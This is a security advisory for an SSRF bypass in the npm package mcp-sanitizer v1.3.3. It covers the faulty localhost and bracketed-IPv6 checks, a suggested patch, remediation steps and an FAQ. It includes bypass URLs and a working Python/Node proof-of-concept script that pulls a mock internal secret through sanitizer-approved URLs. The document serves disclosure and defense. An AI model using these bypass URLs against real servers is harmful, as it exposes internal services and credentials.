GHSA-4mfg-r38w-w8fg: SSRF
URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6
Summary
mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicitly designed to gate MCP tool parameters such as webfetch and webscraper before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.
Details
The vulnerability exists in src/utils/validation-utils.js inside the validateURLLocation() function that is called by secureSanitizeURL() in src/sanitizer/mcp-sanitizer.js:698.
Bug 1 — Port-guarded localhost check (line 274–276):
js // src/utils/validation-utils.js:274-276 if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) { throw new Error('URL points to localhost without explicit port'); }
The && !parsedUrl.port guard means that any localhost URL that includes a port number is not thrown. http://localhost:8080/ passes the check entirely, returning blocked: false with the original URL preserved.
Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):
js // src/utils/validation-utils.js:293-295 if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) { throw new Error(URL points to link-local address: ${hostname}); }
The Node.js URL API returns parsedUrl.hostname for IPv6 addresses with surrounding brackets: [::1], [fe80::1]. The string comparison hostname === '::1' (line 274) and hostname.startsWith('fe80:') (line 293) therefore never match, because the actual string starts with [.
Data flow through the middleware:
1. src/middleware/express.js:499 — tool name derived from req.params.toolName || req.body?.toolname. 2. src/middleware/express.js:548-554 — webscraper/webfetch params.url forwarded to sanitizer.sanitize(url, { type: 'url' }). 3. src/sanitizer/mcp-sanitizer.js:527-528 — context type url routes to secureSanitizeURL(). 4. src/sanitizer/mcp-sanitizer.js:698-700 — validateURLLocation(parsedUrl) called; on success, parsedUrl.toString() returned to caller as the sanitized, trusted URL.
Both bugs are in the default code path; no special configuration is required to trigger them.
Suggested patch:
diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const { URL } = require('url'); +const net = require('net'); @@ - const hostname = parsedUrl.hostname.toLowerCase(); + const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, ''); @@ - if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) { - throw new Error('URL points to localhost without explicit port'); + if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') { + throw new Error('URL points to localhost or loopback'); } @@ - if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) { + if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') || + hostname.startsWith('fc') || hostname.startsWith('fd')) { throw new Error(URL points to link-local address: ${hostname}); } + + if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) { + throw new Error(URL points to restricted IPv6 address: ${hostname}); + }
PoC
Prerequisites: Docker installed; no other dependencies required.
1. Build the Docker image:
bash docker build \ -f vuln-001/Dockerfile \ -t vuln-001-mcp-sanitizer \ reports/npmAI754starman69mcp-sanitizer
2. Run the PoC:
bash docker run --rm vuln-001-mcp-sanitizer
The poc.py script inside the image: - Starts a mock internal HTTP service on 127.0.0.1:8080 serving the string INTERNALSECRETDATA9f3a2b1c. - Calls sanitizer.sanitize(url, { type: 'url' }) via Node.js for five URLs (two expected-blocked, three bypass candidates). - Performs an actual GET http://localhost:8080/ using the sanitizer-approved URL and confirms the secret is returned.
Expected output (abbreviated):
[BYPASSCONFIRMED] http://localhost:8080/ blocked=False sanitized=http://localhost:8080/ [BYPASSCONFIRMED] http://[::1]:8080/ blocked=False sanitized=http://[::1]:8080/ [BYPASSCONFIRMED] http://[fe80::1]:8080/ blocked=False sanitized=http://[fe80::1]:8080/ [SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNALSECRETDATA9f3a2b1c\npath=/' [!!!] INTERNAL SECRET EXFILTRATED: INTERNALSECRETDATA9f3a2b1c RESULT: PASS - SSRF bypass fully demonstrated end-to-end
Baseline controls confirm the library does block http://localhost/ and http://127.0.0.1/ (blocked: true), proving the bypasses are not a general failure but a precise gap in the validation logic.
Minimal inline repro (no Docker):
bash Inside the mcp-sanitizer repository root (npm ci first) node - <<'NODE' const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer'); const sanitizer = new MCPSanitizer(); for (const url of [ 'http://localhost:8080/', 'http://[::1]:8080/', 'http://[fe80::1]:8080/' ]) { const r = sanitizer.sanitize(url, { type: 'url' }); console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized); } NODE
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability. Any application that:
1. Uses mcp-sanitizer's sanitize() / createMCPToolMiddleware() as the security boundary for outbound URLs, and 2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for webfetch/webscraper MCP tools),
is exploitable by any party that can supply the url parameter — typically an unauthenticated network attacker in an MCP server deployment.
Consequences: - Confidentiality (High): The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., http://169.254.169.254/), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration. - Integrity (Low): If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP. - Availability: Not directly impacted.
The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.
Reproduction artifacts
Dockerfile
dockerfile FROM node:18-alpine
Install Python3 for the PoC script RUN apk add --no-cache python3
WORKDIR /app
Copy package files first for better layer caching COPY repo/package.json repo/package-lock.json ./
Install Node.js dependencies (clean install, no dev deps) RUN npm ci --ignore-scripts --omit=dev
Copy library source COPY repo/src ./src/
Copy PoC script COPY vuln-001/poc.py ./poc.py
Run the PoC by default CMD ["python3", "poc.py"]
poc.py
python #!/usr/bin/env python3 """ PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation Library: mcp-sanitizer v1.3.3 (commit caff5d6) CWE-918: Server-Side Request Forgery CVSS 3.1: 8.2 (High)
Root cause: src/utils/validation-utils.js:274: if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) - The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block. - Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6, so the string equality check against "::1" and startsWith("fe80:") both silently fail.
Attack scenario: 1. Attacker controls the "url" parameter of a webfetch / webscraper MCP tool call. 2. The server calls sanitize(params.url, { type: 'url' }) and trusts the result. 3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal service (localhost:PORT), leaking its response to the attacker. """
import subprocess import sys import json import http.server import threading import urllib.request import os
───────────────────────────────────────────────────────────────────────────── Step 1: Start a mock "internal" service on 127.0.0.1:8080 This simulates a privileged internal endpoint (e.g., metadata API, admin panel) that should never be reachable from external input. ───────────────────────────────────────────────────────────────────────────── INTERNALPORT = 8080 INTERNALSECRET = "INTERNALSECRETDATA9f3a2b1c"
class InternalServiceHandler(http.server.BaseHTTPRequestHandler): """Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint)."""
def doGET(self): self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.sendheader("X-Internal", "true") self.endheaders() self.wfile.write(f"{INTERNALSECRET}\npath={self.path}\n".encode())
def logmessage(self, fmt, args): pass # Suppress default access logs for cleaner output
internalserver = http.server.HTTPServer(("127.0.0.1", INTERNALPORT), InternalServiceHandler) srvthread = threading.Thread(target=internalserver.serveforever, daemon=True) srvthread.start() print(f"[] Mock internal service started on 127.0.0.1:{INTERNALPORT}") print(f"[] Internal secret: {INTERNALSECRET}\n")
───────────────────────────────────────────────────────────────────────────── Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs ───────────────────────────────────────────────────────────────────────────── NODESCRIPT = r""" 'use strict'; const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer'); const sanitizer = new MCPSanitizer();
const tests = [ // These should be BLOCKED (baseline: library is supposed to block localhost) { url: 'http://localhost/', expectBlocked: true }, { url: 'http://127.0.0.1/', expectBlocked: true }, // These are the BYPASS cases (the vulnerability) { url: 'http://localhost:8080/', expectBlocked: false }, { url: 'http://[::1]:8080/', expectBlocked: false }, { url: 'http://[fe80::1]:8080/', expectBlocked: false }, ];
const out = tests.map(t => { let result; try { result = sanitizer.sanitize(t.url, { type: 'url' }); return { url: t.url, blocked: result.blocked, sanitized: result.sanitized, expectBlocked: t.expectBlocked }; } catch (err) { return { url: t.url, blocked: true, sanitized: null, expectBlocked: t.expectBlocked, error: err.message }; } });
process.stdout.write(JSON.stringify(out)); """
print("[] Running mcp-sanitizer URL sanitization tests via Node.js ...") proc = subprocess.run( ["node", "-e", NODESCRIPT], captureoutput=True, text=True, cwd="/app" )
if proc.returncode != 0: print(f"[ERROR] Node.js process exited with code {proc.returncode}") print(f"stderr: {proc.stderr}") sys.exit(2)
if not proc.stdout.strip(): print("[ERROR] No output from Node.js process") print(f"stderr: {proc.stderr}") sys.exit(2)
results = json.loads(proc.stdout)
───────────────────────────────────────────────────────────────────────────── Step 3: Print sanitizer results and identify bypassed URLs ───────────────────────────────────────────────────────────────────────────── print("[] Sanitizer results:\n") header = f"{'URL':<35} {'blocked':<8} {'sanitized':<35} status" print(header) print("-" len(header))
bypassurls = [] unexpected = []
for r in results: blocked = r["blocked"] expected = r["expectBlocked"] sanitizedstr = str(r.get("sanitized") or "null") status = "OK" if blocked == expected else "UNEXPECTED" if not blocked and r.get("sanitized"): bypassurls.append(r["sanitized"]) status = "BYPASSCONFIRMED" print(f"{r['url']:<35} {str(blocked):<8} {sanitizedstr:<35} {status}") if blocked != expected: unexpected.append(r)
print()
───────────────────────────────────────────────────────────────────────────── Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL This proves the sanitizer flaw leads to real internal service access. ───────────────────────────────────────────────────────────────────────────── ssrfconfirmed = False ssrfevidence = None ssrfurl = "http://localhost:8080/"
if ssrfurl in bypassurls: print(f"[] Attempting SSRF: GET {ssrfurl} (using sanitizer-approved URL) ...") try: resp = urllib.request.urlopen(ssrfurl, timeout=5) body = resp.read().decode().strip() print(f"[] HTTP response status: {resp.status}") print(f"[] HTTP response body:\n {body.replace(chr(10), chr(10) + ' ')}") if INTERNALSECRET in body: ssrfconfirmed = True ssrfevidence = body print(f"\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNALSECRET}") except Exception as exc: print(f"[ERROR] HTTP request failed: {exc}") else: print(f"[WARN] {ssrfurl} was not in bypassurls; skipping actual SSRF step")
internalserver.shutdown()
───────────────────────────────────────────────────────────────────────────── Step 5: Final verdict ───────────────────────────────────────────────────────────────────────────── print(f"\n{'='65}") print("VERDICT") print(f"{'='65}") print(f" Bypass URLs confirmed by sanitizer: {len(bypassurls)}") print(f" Bypassed URLs: {bypassurls}") print(f" Actual SSRF HTTP request succeeded: {ssrfconfirmed}") print(f" Exfiltrated secret matches: {ssrfconfirmed and INTERNALSECRET in (ssrfevidence or '')}")
if ssrfconfirmed and len(bypassurls) >= 2: print("\n RESULT: PASS - SSRF bypass fully demonstrated end-to-end") print(" - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080") print(f" - Actual HTTP GET to internal service returned: {ssrfevidence!r}") sys.exit(0) elif len(bypassurls) >= 2: print("\n RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed") print(f" - {len(bypassurls)} URLs bypassed sanitizer: {bypassurls}") sys.exit(1) else: print("\n RESULT: FAIL - expected at least 2 bypass URLs") sys.exit(1)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/mcp-sanitizerto a version that resolves this vulnerability.Fixed in 1.4.0 - Configuration
Apply the suggested validation patch to src/utils/validation-utils.js so localhost and loopback/link-local IPv6 URLs—including http://localhost:8080/, http://[::1]:8080/, and http://[fe80::1]:8080/—are rejected.
mcp-sanitizer src/utils/validation-utils.js validateURLLocation() = Normalize parsedUrl.hostname by removing surrounding brackets and trailing dot; reject localhost, .localhost, ::1, 169.254.*, fe80:* and IPv6 fc*/fd* addresses regardless of explicit port
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
Deployments using mcp-sanitizer v1.3.3 to validate attacker-controlled MCP tool URL parameters before outbound HTTP requests are exposed. The described risk applies to tools such as web_fetch and web_scraper when their URLs are passed through the sanitizer.
What does an attacker need to exploit the bypass?
An attacker needs to be able to supply a URL that will be processed by the affected sanitizer and then fetched by the application. No privileges or user interaction are indicated in the provided severity vector.
Which URL forms can bypass the localhost protections?
The affected validation permits localhost when an explicit port is supplied, such as http://localhost:8080/. It also permits bracketed IPv6 loopback or link-local targets with ports, including http://[::1]:8080/ and http://[fe80::1]:8080/.
How can I determine whether my application is affected?
Check whether it uses mcp-sanitizer v1.3.3 and relies on its URL sanitization before making outbound requests from MCP tools. Test or review handling of localhost URLs with explicit ports and bracketed IPv6 loopback or link-local addresses.